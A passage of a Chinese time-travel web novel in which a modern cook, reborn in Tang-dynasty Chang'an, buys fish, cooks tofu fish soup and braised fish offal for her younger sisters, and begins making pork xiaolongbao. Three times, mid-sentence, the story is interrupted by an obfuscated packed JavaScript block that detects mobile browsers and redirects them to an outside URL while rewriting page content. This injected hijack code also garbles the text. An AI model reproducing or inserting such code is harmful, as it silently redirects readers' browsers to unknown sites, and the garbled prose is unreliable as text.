而且，不知是不是她的错觉，她总觉得这孩子对自己有几分说不清道不明的距离感——最细思极恐的是，这“距离感”是在她穿越后才出现的。 也就是说，从前和崔娘子相处时，崔时锦并不如此。 崔时钰正为二妹的转变感到摸不着头脑，小妹这边又发话了。 崔时宁把脑袋摇成了拨浪鼓：“阿姊，我不想要糖人了。” 这声音奶声奶气的，听起来令人心窝发软。 “怎么了？”崔时钰问妹妹，“刚才明明看了那么久，为什么不想要了？” “因为贵。”崔时宁一本正经地说，“阿姊说过，家里没钱，不能乱花。” 崔时钰顿时心软得一塌糊涂。 她这两个妹妹都是什么小天使啊！ “好，咱们不乱花钱，那回家之后阿姊给你做个糖人怎么样？”糖人而已，对她来说不算难事。 听到不用花钱就能得到糖人，阿宁高兴得都要蹦起来了：“好啊好啊，阿姊要给我做糖人喽！” 崔时钰被她的反应逗笑了，一手拎豆腐，一手牵妹妹，继续朝目的地前进。 她的出现引起了不少人的注意，许多摊贩和路人都偷偷打量着她，低声议论。 “你看，那不是前几天跳河的那个？” “我瞧着是！听说是被人救上来的，真是命大。” “这般年轻的岁数，有什么好想不开的？” “……” 崔时钰自然留意到了周围的窃窃私语，不过她并不在意。 “人气”高对她来说不是坏事，黑红也是红嘛，这样还利于她日后做生意——她已经想好了，往后也要在这西市摆个小摊。 小摊自然是要卖吃食的，但至于卖什么……暂时还没拿定主意。 以后再说。 她牵着妹妹径直走向鱼摊。 面前鱼摊布置得简单实用，正中央是一张宽大的木案，上面摆着几条已经处理好的鲫鱼，鱼身整齐地排列着，鳞片刮得干干净净，鱼鳃鲜红，鱼眼清澈，散发着淡淡的腥味。 木案旁边放着几个大木桶，桶里盛满清水，几条活蹦乱跳的鲤鱼和鲫鱼正在水中游动，桶边挂着几根草绳，想来是用来串鱼方便客人带走。 摊位的右侧摆着几个小桶，里面装着小杂鱼，个头不大，胜在价格便宜，适合用来熬汤或喂猫，估计是特意为那些预算有限的客人准备的。 崔时钰目光在摊子上扫了一圈，最后停在那几条游动的新鲜鲫鱼上，开口便要了三条。 郭大郎笑着朝她点点头，“好嘞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626269|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，三条鲫鱼，十一文钱。” 崔时钰微微一愣。 因打算和妹妹们一人一条，是以她挑中的这三条鲫鱼个头都不小，三条大鲫鱼，居然只要十一文钱？ 看出她的疑惑，郭大郎解释道：“小娘子，你怕是不记得我了，我和你阿爹从前一同贩鱼，是老相识，这鱼我给你算便宜点，就按杂鱼的价格算了。” 他边说边麻利地将三条鲫鱼用草绳串好，递给崔时钰。 旁边的刘大娘神色复杂地看着眼前这一幕——怪不得刚才郭大郎不乐意和她八卦呢！ 人家话都说到这份上了，再推辞就显得矫情，崔时钰双手接过三条沉甸甸的鲫鱼，感激地对郭大郎道：“多谢阿叔，以后我一定多来照顾您的生意。” 她确实在记忆中寻到了郭大郎模糊的身影。 那时的崔娘子比六岁的阿宁还要小一些，天真懵懂，有次见郭大郎出摊卖鱼，个头比自家阿爹卖的鱼还要大，便以为郭大郎是来抢生意的坏人。 崔父耐心地和她解释，告诉她郭阿叔不是坏人，只是长安城的人实在太多了，自然会有人卖相同的东西，但这并不代表其中某个人就是坏人。 崔时钰不记得崔娘子当时是怎样回答的了，总之，这段记忆并未给她留下太过深刻的印象。 正因为记忆不甚清晰，她才知道，郭大郎与崔父的关系并没那么好。 能关照从前不熟悉的竞争对手的女儿，这位郭大郎也是个热心肠的人。 这样想着，崔时钰又拉着妹妹一同道谢。 不必等姐姐开口，崔时宁早已准备好了，下一秒便甜甜地道：“谢谢阿叔！” 谁能拒绝一个奶娃娃的道谢？ 郭大郎笑得合不拢嘴，“好好好，快拿好了，这鱼新鲜得很，拿回去熬汤最合适。” 崔时钰笑了笑，心头不由得浮现出一个疑惑：小时候也就算了，为何长大后的崔娘子也对这位郭大郎没有印象？ 难道崔家从不吃鱼？ 她思索片刻，很快找到原因——崔家吃鱼少，却也并非从来不吃，只是常去一些流动摊位购买。 原因无他，价格便宜。 郭大郎鱼摊上的鱼虽然品质好，但价格也相对更贵，崔娘子远远瞧见那阵仗颇大的摊子就知价格不菲，于是便敬而远之了。 她这样拼命省钱，目的是为了给两个妹妹攒嫁妆。 崔父崔母从事的都是多劳多得的辛苦活计，能在长安城买下一间带院子的铺子实属不易，还为大女儿攒了套嫁妆。 崔娘子的嫁妆是一全套纱、绫、罗、锦、麻布的布料，纱有吴纱和花鼓歇纱，绫有花素绫、广陵绫、交织绫，罗是单丝罗和孔雀罗，锦有瑞锦、半臂锦，麻布因比较易得，样式就更多，有火麻布、赀布、班布、苎麻布等。 崔父崔母都已故去，崔娘子便主动承担起为两个妹妹攒嫁妆的责任——她有的东西，妹妹也要有。 如果实在攒不够，那她就把自己的嫁妆分给妹妹们。 思绪回笼，崔时钰回过神来，又对郭大郎道了谢，这才离开鱼摊。 她带着妹妹在西市转了大半圈，买了些日常用品，其中包括做菜必备的酱油、糖、生粉等调味料。 那日做红糖鸡蛋时她就发现，橱柜内的调料简单到令人发指，除了粗盐便是陈醋。 合着崔家的饭食口味不是咸就是酸呗？ 崔时钰不能接受，趁这次出门买鱼的机会，购入了一大批心仪的调味料。 这时候的调味料价钱着实不菲，一枚枚铜钱掏得她心疼不已，但这些东西早晚都要买，也算是提前投资。 到家之后，崔时钰将买来的东西一一放进庖厨，然后便开始杀鱼。 5. 豆腐鱼汤 杀鱼是个细致活。 鲫鱼最好在清水中暂置一段时间，吐尽泥沙、排净鱼屎，这样才能保证鱼肉的纯净。 趁着鱼吐泥这段时间，崔时钰将待会儿要用到的工具拾掇出来：菜刀、砧板、一条干净的布巾，还有一只粗瓷小碗。 砧板布巾和碗没什么好说的，唐朝的菜刀却很有些讲究，刀身较宽，刀刃略钝，形状接近长方形，有点像现代的西瓜刀。 这种宽刃菜刀虽然没那么锋利，敲起鱼来倒很趁手。 崔时钰抄起菜刀，调转刀背，对着鱼头精准一击，鲫鱼登时便晕了过去。三下连击过后，三尾活蹦乱跳的鲫鱼轮流在她手下瞬间安静。 紧接着，崔时钰翻转菜刀，将刀刃对准鱼身。这宽刃菜刀肯定没有专业的刮鳞刀好用，但眼下没有更好的工具，只能凑合了。 她从鱼尾向鱼头方向刮去鱼鳞，角度精准，力道均匀，鱼鳞簌簌而落，鱼身的皮肉却没有损伤分毫。 整套动作一气呵成。 若是郭大郎瞧见这一幕，定会被她专业的手法惊到。 处理完鱼鳞便是开膛破肚，崔时钰动作大胆又小心地用刀沿着鱼腹中线划开，鱼腹里面饱满的鱼内脏完整地露了出来。 鱼身自然不必多说，这鱼内脏也是个好东西，得留着。 崔时钰将鱼胆和其他不可食用部分取出，挑去鱼鳃，又在鱼身两侧靠近鱼头处各切一刀，轻轻拍打鱼身，一条完整的腥线就抽了出来——这条白色腥线一经去除，鱼腥味能大大减少。 一条鲫鱼便收拾好了。 其他两条鲫鱼也是相同的处理方式，只不过在处理剩下两条鲫鱼的时候，崔时钰惊喜地发现这两条鱼居然有鱼籽！ 对于现在的她和妹妹们来说，这可是不可多得的美味。 她美滋滋将这几块还挂着血线的黄色鱼籽和刚才取出来的鱼泡、鱼肠、鱼肝等内脏一同放进小碗当中，准备一会儿做个烧鱼杂吃。 炖好的鱼杂配上大米饭，再浇上几勺浓郁的汤汁……那味道，肯定香。 就在崔时钰犯馋的时候，突然听到门口传来一阵声响，扭头一看，是捡完干树叶的阿锦回来了。 如今最需要柴火的冬季虽然已经过去，干木柴没那么原先紧俏，但也要卖到将近二十文一斤。 干树叶算是柴火的平替，姐妹三人当然是能省则省，经常轮流出去捡树叶，几乎是每日的必做活动。 崔时钰让二妹把干树叶放在柴火堆旁边，正要招呼她过来看刚才鱼肚子里剖出来的鱼籽，然后就瞧见阿锦正直勾勾盯着自己。 崔时钰一阵疑惑，而后反应过来，垂眸看向自己的双手。 上辈子她杀过的鱼几乎有上千条，早已练出一套完整的流程，基本不会在身上脸上溅到散落的鱼鳞或鱼血，但手上却是难以避免。而且这时候人们虽然会使用“手爪囊”，即手套，但主要用于保暖和防护，并不在烹饪过程中使用。 所以，她的双手现在沾满了淋漓鱼血，手背和手指上还溅上了刚才刮鱼时飞出来的鱼鳞。 想来这副模样着实很有几分冲击力。 崔时钰心中有些打鼓：别又把孩子吓着了。 正要起身清理一下案发现场，就听阿锦说：“阿姊，我来帮你。”说着去井边打了半桶水，提起木桶就要往崔时钰手上倒。 “阿锦等等。”崔时钰拦住妹妹，笑道，“我先把鱼洗了，不然还要占一次手。” 崔时锦动作一顿，点点头，而后目不转睛地瞧着阿姊用清水将鱼身里外冲洗几遍，直到鱼身上不再有一丝黑膜和血迹。 ——原来鱼就是这样处理的。 她很少见阿姊做这种事，有种习得新知识的感觉。 而崔时钰瞧着二妹的反应不像害怕，更多是探究与好奇，也放下心来，与阿锦说起了这几条鱼的来历，边说边拿起一小块皂角轻轻掰开。 皂角内里淡黄色的果肉露出，一股淡淡的草木清香飘散开来，带着些许苦涩的气息。 这便是古代的清洁用品了。 崔时钰将皂角沾水轻轻揉搓，果肉渐渐化开，在掌心浮起一层细密的泡沫，不像现代肥皂那样丰富，却带着一种天然的温润感。 她慢慢搓洗双手，泡沫随着手的动作逐渐变得浑浊，随着清水一冲，手上的鱼腥味消失不见，只留下淡淡的皂角清香。 这时候的清洁用品主要有皂角和澡豆两种，皂角便宜易得，几乎是每家每户的必备之物。 澡豆则更为稀有，制作时需要将猪胰子洗净研磨成糊，再与豆粉、香料、中草药混合，制成粉末或丸状。配方复杂，制作成本较高，价格自然也不便宜。 崔家当然没有这种东西。 崔时钰把皂角放回原处，又打了桶水给刚捡完树叶的妹妹洗手，看着阿锦灰扑扑的小手重新变得白嫩洁净，这才轻轻拍拍妹妹的后背：“好了，阿锦，去找阿宁玩吧。” 她做菜的时候不习惯有人在场，更享受一个人完成每道工序的秩序感——当然，是在菜量不大的前提下。 崔时锦闻言沉默片刻，似乎有些犹豫，但最终还是乖巧点头，听姐姐的话去找妹妹了。 没过多久，屋里就传来两个小女孩的欢声笑语，崔时钰笑了笑，正要把方才杀鱼留下来的内脏和鱼鳞丢进污桶，一偏头突然瞥见院子里那棵杏树。 这棵杏树已经有年头了，树皮粗糙，枝干虬结盘错，向四面八方伸展，投下斑驳的影子。 眼下还没到农历二月，杏树还光秃秃的，枝头却已鼓起了一个个裹着褐色外衣的小小芽苞，想来再过些时日，等天气再暖和些，这些芽苞就会裂开，吐出嫩绿的新叶在风中摇摆。 在崔娘子的记忆中，这棵杏树结出来的杏子味道还算可口，但数量十分稀少，果子模样也不甚美观。整个结果期过去，崔家姐妹三人也就只能吃上十几颗美味又歪瓜裂枣的果子。 崔时钰虽然在烹饪一道有些天份，对于种地却是个门外汉，不知怎样对这棵杏树进行改善。 但无论如何，施些肥总不会出错。 这样想着，她在杏树根旁徒手挖了个小坑，把鱼内脏和鱼鳞埋了进去。 ——但愿这棵杏树能吃得好些，结出更多香甜的杏子。 给杏树加餐完毕，崔时钰又去洗了手，这才拎着三条鲫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626270|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼、一碗鱼杂走进庖厨。 那日煮完红糖鸡蛋她便将庖厨收拾了一通，按照自己上辈子的烹饪习惯进行了些许改动，在灶王爷像旁钉上几根木钉，将竹编的笊篱、木勺和木铲一一挂上去，这样案板上的位置便空了出来，做菜时更方便了。 靠窗的条案上放着陶罐，里面装着刚放进去不久的调味料；地上的陶瓮盛着米面和豆子，都用木板盖得严严实实。 庖厨虽小，但被崔时钰收拾得利落，尽管不像她上辈子使用的现代厨房那样科技便利，却别有一番温馨之感。 她将鱼和鱼杂放在案板上，起锅烧水。 这一小锅沸水不是为鲫鱼烧的，而是为了豆腐——依然是王五娘赠与她的。 “使不得使不得！”见崔时钰要拿钱袋子，王五娘连连摆手，动作麻利地包起一块方方正正的豆腐。 连吃着人好几次豆腐，崔时钰心中实在过意不去，这次执意要付钱，王五娘自是不肯，一把按住她的手：“这点豆腐算得了什么？阿钰，你千万别跟我客气，当初你阿爹也没少抓鱼给我们一家子吃！”说着便不由分说将包好的豆腐塞进崔时钰怀里。 王五娘的豆腐在坊间是出了名的好，用料讲究，把好黄豆放在石磨细细地磨，点卤火候也拿捏得恰到好处，做出的豆腐细腻如脂，豆香四溢。 不过再好的豆腐也难免会带有一些豆腥味，焯水可以去除这种异味，让豆腐口感更加清爽，变得更适合熬汤，且能保持形状，不会轻易散开，也更容易吸收鱼汤的味道。 但焯水时间过长会让豆腐变得紧实，失去软嫩的口感，因此不能在水中煮得太久，是以只等豆腐在沸水中上浮下沉几个来回，崔时钰便将它们捞上来，放在一旁备用。 接下来便是重头戏，熬鱼汤。 将锅烧热，加入适量蔓菁子油——即后世的菜籽油，估摸着油温差不多了，崔时钰将斜切划刀的鲫鱼滑入锅中，只听滋啦一声，油脂的香气很快溢满整间庖厨。 她一边用木铲轻轻翻动鱼身防止糊锅，一边思索：这口铁锅还是太小了，要是换成她上辈子常用的那口锅，就能一次性煎好几条鲫鱼了…… 要赚钱买大铁锅！ 煎好的鱼皮变得酥脆，微微卷曲，显现出诱人的金黄色，崔时钰从水缸里舀起几瓢清水顺着锅边注入，又将提前备好的葱姜撒进去。 汤汁翻滚着，渐渐浓郁。 等到大火将鱼汤烧开，崔时钰才将切好的豆腐块放入汤中，抽出几根木柴将灶火调小，任由汤汁咕嘟咕嘟地煨着。 大约过了半个时辰，揭开锅盖，浓郁的鱼香混着豆腐清香扑面而来。 锅里的鲫鱼豆腐汤已经炖得浓稠，乳白色的汤汁如同牛乳一般，没有一丝杂质，鲫鱼肉质鲜嫩细腻，吸饱了汤汁的豆腐微微胀大，看起来格外诱人。 崔时钰最后将一小把切得细碎的绿葱花撒了进去。 晨光透过窄窗洒进来，照得汤面金光点点，乳白的鱼汤、嫩滑的豆腐、翠绿的葱花，共同汇聚在一锅之中，色香俱全。 崔时钰用勺子轻轻搅动了一下锅里的汤，看着乳白色的汤汁翻滚，眉眼都舒展开来。 6. 三姐妹花 三条鲫鱼熬出来的鱼汤，一个碗都盛不下，崔时钰又翻箱倒柜翻出一只白瓷碗，这才勉强盛下一大锅鲜鱼汤。 鱼汤多，三个人约莫喝不完，崔时钰想好了，晚上的暮食就用剩下的鱼汤做锅索饼——也就是面条。 唐朝的吃食名称和后世大不相同，主食方面尤为突出： “胡饼”是现代的烧饼；“汤饼”即水煮面食，种类丰富，根据制作方式和配料的不同，可分为“索饼”“水溲饼”“馎饦”，索饼是面条，水溲饼是用较稀的面团制成的面片，馎饦是形状像猫耳朵的面片汤；不管有馅无馅，蒸制面食都称作“蒸饼”，而后再向下细分…… 已经穿越好几天了，崔时钰仍然担心一不留神就会说错。 她一边在脑子里过了一遍各种面食的称谓，一边处理鱼杂。 鱼肠、鱼泡、鱼籽、鱼肝一一从碗里取出分别清洗，鱼肠要用盐细细搓洗，鱼泡要破开洗净，鱼籽和鱼肝则要小心地用筷子摘去血丝。 灶膛里的柴火噼啪作响，铁锅已经烧热。 崔时钰舀半勺菜籽油入锅，放葱段、姜片爆香，又加了一勺前几日从集市上买来的茱萸辣酱。 此时辣椒还未引入大唐，食茱萸便是唐人们获取辣味的重要来源。 这是种肖似花椒的红色小果，携带浓烈的辛香气味以及淡淡的柑橘香，做出来的辣酱味道相对温和，没有后世辣椒酱那种强烈的刺激辣味，是唐朝人家家户户的常用调味品。 崔时钰买的时候闻了闻，食材本身特有的自然味道钻进鼻腔，很合她的口味。 美中不足的是，正因茱萸辣酱以茱萸的自然辛香为主，缺少传统辣椒酱中花椒、八角、茴香等香料的风味，味道相对单一。 崔时钰琢磨着，有机会一定要亲手熬锅辣椒酱。 她上辈子做的辣椒酱鼎鼎有名，每天单独来购买辣椒酱的人就数不胜数，据顾客说，光就着这辣椒酱就能吃好几碗米饭。 ——这都是上辈子的辉煌了，现在还是专心做鱼杂吧。 经过清洗，原本带着腥味的黏腻鱼变得干净清爽、柔软光滑，甫一下锅便发出油滋滋的声响，在木铲翻动间渐渐染上酱色，辣香混着鱼鲜在热汽中氤氲。 鱼杂量小熟得快，估摸着差不多了，崔时钰把刚才熬鱼汤时没用完的葱花撒进去，起锅装盘。 鱼杂入盘，酱褐色的汤汁顺着半透明的胶质鱼泡缓缓流下，在盘底汇成一汪诱人的酱色，旁边的鱼籽、鱼肝、鱼肠色泽饱满，泛着油亮的光泽，鲜香四溢。 盛出三碗满到冒尖的糙米饭，正中央摆上两大碗鱼汤，再配一碟酱色浓郁的烧鱼杂——今日的午食便成了。 崔时钰边洗手边喊：“阿锦，阿宁，过来吃饭啦。” 话音刚落，一大一小两个小姑娘便撩开帘子冲了进来，速度之快，简直让崔时钰怀疑她俩一直在门外看着。 阿宁踮着脚尖，小手扒着桌沿，圆溜溜的眼睛盯着汤碗，鼻子一抽一抽地嗅着香气，“阿姊，好香啊！” 她从没闻过这么香的味道！ 熬鱼汤与烧鱼杂地香味不同，但都浓郁异常，两种香味和而不同地汇成一股，一个劲儿往她鼻子里钻。 崔时宁晕晕乎乎的，感觉自己都要被香迷糊了。 到底是比妹妹大了几岁，崔时锦看起来淡定许多，只安静地坐在食案旁边，双手规规矩矩放在膝上，活像个小大人一样。眼睛却一眨不眨盯着面前的饭食。 记忆中，阿姊几乎从未这样大动干戈地下过厨，没想到竟做得这样好。 她看着面前乳白色的鱼汤，咽了咽口水说：“阿姊这鱼汤熬得真好看，像天上的云。” 旁人形容鱼汤洁白，总会先联想到牛乳，阿锦第一反应却是天上的云。崔时钰明白，这是妹妹没喝过牛乳的缘故，所以才一时没想起来。 她心头微酸，拿起木勺，在两个妹妹碗中盛了满满的鱼汤，“喜欢就多喝，今日阿姊特意多熬了些，就怕你们不敞开肚子吃呢。” “谢谢阿姊！”阿宁迫不及待地端起碗喝了一口，一口下去又连喝好几口，直喝得啧啧有声。 “你慢些吃。”阿锦忍不住出声提醒妹妹，结果自己也被鱼汤的鲜美惊得微微睁大了眼睛。 鱼汤浓稠适中，恰到好处，既不会稀薄，也不会过于厚重，一口下去，热乎乎的一汪鲜汁便顺滑地流到胃里。 不知不觉汤碗见底，崔时锦起身又舀了一勺，方才只盛了汤，这次特意带上几块鱼肉和豆腐。 鱼肉雪白细嫩，鲜甜嫩滑，还保持着刚入锅时的形状，却又几乎入口即化，还很有鲜香的滋味。 豆腐则吸饱了鱼汤的鲜美，带着豆子特有的清香，咬下去时汤汁在口中迸溅。 崔时锦一口饭一口汤，不知不觉就吃完了两碗米饭，还喝了三碗鱼汤。 ……她什么时候饭量这么大了？ 她这边专注鱼汤，妹妹已经向烧鱼杂发起进攻。 大约小孩子都喜欢一些奇奇怪怪的玩意儿，阿宁对这些模样一般，但味道鲜美的鱼杂爱不释口。 颗颗饱满的鱼籽金黄透亮，外皮微焦，内里又是另一番细腻绵软的口感，吃起来咸香浓郁；鱼泡吸足了酱汁，软糯中带着弹性，轻轻一咬，鲜香的汁水四溢；鱼肝细腻滑嫩，浸透了鱼杂的精华，油脂咸鲜中带着一丝微辣…… 每一口都满足极了。 崔时宁最喜欢吃鱼籽，一颗颗金黄饱满的鱼籽咬下去满口生香，第二喜欢软糯弹牙的鱼泡，鱼肝和鱼肠她拍不出顺序，但同样也是好吃的。 都好吃！ “好好吃啊，阿姊真厉害！”阿宁嘴里塞得鼓鼓的，还不忘夸赞自家阿姊。 崔时钰抿嘴一笑，夹起一块鱼籽放进妹妹碗里，“这个有营养，阿宁多吃些。” 眼见盘里鱼籽还剩下最后一块，崔时钰夹起来放进阿锦碗中，却见她一直闷头扒饭，一言不发。 她这才注意到，这孩子从方才喝完鱼汤便没说过话了。 这是怎么了，被鱼刺卡到了？ 崔时钰吓了一跳，连忙询问妹妹原因。 过了半晌，崔时锦缓缓抬头，却是露出了一张还挂着眼泪的清俊小脸。 见她哭了，崔时钰马上把筷子扔置一旁，坐到妹妹身边轻轻拍她后背：“可是被鱼刺卡到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626271|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙了？别怕别怕，阿姊带你去养病坊把鱼刺取出来。” “养病坊”是这时候的医馆名称，不知取个鱼刺要花多少银钱，除了钱袋子，崔时钰还准备带上两块嫁妆麻布，以防万一。 她正要去取，突然感到有一只柔软小手轻轻拉住了她的衣袖。 崔时钰扭头，见阿锦抹着眼泪说：“阿姊，我没有被鱼刺卡到。” 听到这句话，崔时钰暂时放下心来——不管怎样，不是鱼刺的事就行。 那孩子为啥哭了？ 她重新坐到阿锦身边，柔声询问：“那我们阿锦是为了什么哭呀？” “对啊二姊，你为什么哭了。”崔时宁嘴里叼着一块没吃完的鱼肉，用一只手给姐姐擦眼泪，含糊不清地问，“是因为阿姊做饭太好吃了吗？” 听了这句话，崔时锦终于破涕为笑：“我……我不知道该怎么说。” 自打爹娘去世之后，阿姊便成了她们一家人的主心骨，崔时锦打心眼里信任阿姊、依赖阿姊，如果阿姊有朝一日也不在了，那她就真的不知道该怎么办了。 可就在几天前，她最担心的事发生了：阿姊离开了她们。 虽然阿姊被人救了上来，但崔时锦一直忧心阿姊的心中症结还未完全消除，就怕某天她还会想不开，再冲动做了傻事。 是以这几天她对待阿姊的态度一直小心翼翼，不敢胡乱说话，生怕自己的哪句无心之言再次戳痛阿姊的心。 直到现在，吃到这一桌子热乎乎的美味饭菜，崔时锦悬了好几天的心终于落地了。 阿姊是真的回来了，再也不会离开她和妹妹了。 千般思绪不可言说，崔时锦红着眼圈摇了摇头，“对，就是因为阿姊做饭太好吃了。” 虽然孩子应该没完全把自己的心中想法说出来，但听她说自己没被鱼刺卡住，又喝鱼汤喝得小脸红润，想来应该没什么大事，只不过…… 这两大盆鱼汤、一盘鱼杂怎么都吃完了？那可是整整三条鲫鱼啊！ 得，看来晚上的鱼汤面条是没法吃了，又得啃还没吃完的胡饼了。 * 长安城官道上，一辆牛车吱呀吱呀地碾过泥泞，车里挤着两个个圆滚滚的身影，正是田二郎和妻子殷氏。 殷氏掀开车帘，嫌弃地皱了皱眉头，“这路可真难走，你那几个外甥女住的地方，怕不是比这路还要破。” 田二郎缩了缩脖子，没敢接话。 他向来惧内，这会儿正小心翼翼地护着怀里的一包点心，生怕颠簸中掉了渣。 “你那大外甥女落了水，身子骨肯定要落下病根，长久不了。”殷氏突然压低声音，“她爹娘留下的那些嫁妆.....” 田二郎慌忙打断：“别说了，快到了。” 牛车在一处破旧的铺子前停下。 眼前的旧铺墙皮剥落，门前石阶长满了青苔，不知多久没打理过了。 殷氏一下车便皱起眉头，提着裙摆，生怕沾上一点灰尘，忍不住道：“连个像样的门房都没有！” 下一秒，她抱怨的声音突然一顿，抽了抽鼻子。 “什么味儿这么香？” 7. 小笼蒸包 崔时钰正在做猪肉小笼包。 连吃好几日鱼肉鱼汤，崔家姐妹三人个个面色红润，气色比从前好了不少，瞧着健康许多。特别是崔时钰，健身计划进行得有条不紊，很快就能在每日运动中加入深蹲这一项了。 如今她每日沿长安城慢跑半个时间，跑到哪儿算哪儿，时间一到便按时回家，再在院里那棵杏树边上做一组俯卧撑。 一开始她还担心自己这番举动会吓到两个妹妹，没想到阿锦和阿宁接受良好，甚至十分支持。 “阿姊这样是不是能长肉？”阿宁把糖人嚼得嘎嘣作响，“阿姊现在太瘦啦，要长点肉才好看！” 唐人以丰腴为美，世家贵女个个体态丰盈，敦煌壁画里的飞天形象多圆润婀娜，就连唐三彩女俑也长着可爱的双下巴。 如崔时钰这般的纤细身材虽不大符合此时人们的审美标准，不过她本人并不如何在意，无论丰腴还是苗条，只要健康便是最好。 这些天来健身效果显著，如今的崔时钰虽还不能像从前那样在灶台前连续站上八*九个小时，但已能还算轻松地切菜颠勺，着实是喜人的进步。 归根结底还是崔娘子身体底子好的缘故，若非先前过于病态地省钱、一日三餐敷衍了事，定能比现在体质更好。 崔时钰决定吃顿肉改善一下伙食，思来想去，把目光盯上了猪肉。 受北方游牧民族饮食习惯的影响，本朝人喜食羊肉，从宫廷到民间，羊肉都是餐桌上的常客，还有官方牧场太仆寺，专门养羊供皇室享用。 相比之下，豕肉——本朝猪肉的别称，在此时并没有那么受欢迎，甚至被视为低档的“腥肉”。 苏东坡先生就曾言过：“黄州好猪肉，价贱如泥土；贵者不肯吃，贫者不解煮。” 苏东坡先生的这两句诗实际是在先抑后扬地赞美猪肉，因为没过多久他就研究出了名满天下的东坡肉。但此时大名鼎鼎的东坡肉尚未出现，大部分人依然带着有色眼镜来看待猪肉。 崔时钰买肉时就遇到了类似情况。 那肉摊子是她晨跑时遇到的，摊子中央摆着一块宽大木板，上面分别摆着羊肉和猪肉。羊肉色泽鲜红，被切成齐整的大块，占据了木板的中央位置，猪肉则简单切成方形几块摆在木板边角。 崔时钰瞧着那块猪前腿还算新鲜，很适合用来做包子吃，便开口询问价格。 见她问价的对象是豕肉而非羊肉，原本满面堆笑的小贩立刻把脸耷拉下来，扫了扫木板角落用来当作添头的猪肉，随口道：“豕肉啊，八文一斤。” 唐朝的一斤约是十六两，再添四两便是后世的整两斤，花一斤的钱能带走两斤，怎么不算是另一种形式的赚了？ 崔时钰眼里只有便宜新鲜的猪肉，压根没时间跟小贩置气，买下一斤便拎着回家了。 ——事实证明，像郭阿叔那般热心肠的商人着实罕有。 正因为对方这副热忱心肠，崔时钰才不好意思一直占人便宜，这些天买鱼一直坚持让他按正价算账，对王五娘也是如此。 她意图让对方成为未来的合作伙伴。 开饭馆嘛，单打独斗是不可能的，必须多方合作才能实现共赢。正因如此，选择蔬菜、水果、肉、米面粮油等等必需品的供应商就显得尤为重要。 像刚才那种利益至上、不讲人情，眼睛里只有钱的人，绝不会成为她日后的合作伙伴。 拎着猪肉回到家后，崔时钰做的头一件事便是对这些猪肉进行处理。 本朝骟猪技术已经出现，即“犍猪法”，但相较后世并不完善，即使是经过阉割的猪肉也依然存在异味。 对此，崔时钰有自己的一套解决路子。 她先将买来的猪肉洗净，切成适当大小的块状后放入清水中浸泡，期间多次换水，让血水充分渗出，浸泡一个时辰之后，血腥异味便能除去七七八八。 接着在锅中放葱段、姜片、花椒等香料，添水煮开，将浸泡后的猪肉放进去煮上一刻钟。经过这些香料的去腥增香，猪肉中的异味、血水和杂质便被进一步去除了。 第三步也是最后一步，将焯水后的猪肉捞出晾凉，再用少许米醋涂抹在表面轻轻搓洗，用清水冲洗干净。 浸泡、焯水、搓洗，再用调味料稍作腌渍，如此，猪肉便脱胎换骨，一丝怪味也无了。 一炷香的时间过后，崔时钰用两条猪前腿肉制了一碗精心调制的肉馅。 因着猪肉新鲜，调味料便不必放得太繁复，只需放盐、酱油、一小把切得细碎的葱花姜末，再撒入少量花椒粉即可。用竹筷顺着一个方向搅拌，搅好的肉馅儿黏稠有劲、肥瘦相间，鲜嫩多汁。 肉馅盆旁边是一个和好的面团，看起来色泽微黄，软硬适中。 这时候主要通过石磨、杵臼将小麦磨成粉末，精度有限，产出的面粉里面麸皮极多，质地粗糙，颜色也相对较深，淡黄色尤为常见，甚至还有浅棕色。 崔家姐妹三人从前经常吃的胡饼大约就是用这种面粉做的，颗粒感极强，崔时钰有点吃不来，前两日去找篾匠定制了一个专门用来筛面粉的筛网。 按照她的要求定制出来的筛网孔径细小，能够有效分离麸皮与面粉中的其他杂质。虽然这样筛出来的面粉仍达不到后世白面的细腻程度，但口感明显比之前提升了好几个等级。 总的来说，崔时钰还算满意。 这可不是乱花钱，而是合理投资。 她将面团分成数个大小相同的剂子，放在掌心揉成圆球再略略按平，用擀面杖从面团中间向外轻轻擀开。 如此擀出来的面皮厚薄均匀，且中间稍厚、边缘稍薄，用这样的面皮包馅儿不易破底，顶部捏褶时也更容易。 拿起一张擀好的面皮放在手心，另一手用木勺舀起一勺肉馅轻放在面皮中央，崔时钰手指蘸了点清水，沿着面皮边缘轻轻一抹，而后将面皮对折，两根手指灵巧地捏出褶皱——一个小笼包便包好了。 没过多久，一个个小巧玲珑的小包子便在案板排起长队。 崔家的庖厨里没有专门用来蒸包子的蒸锅，只有蒸屉，这对崔时钰来说也足够用了。 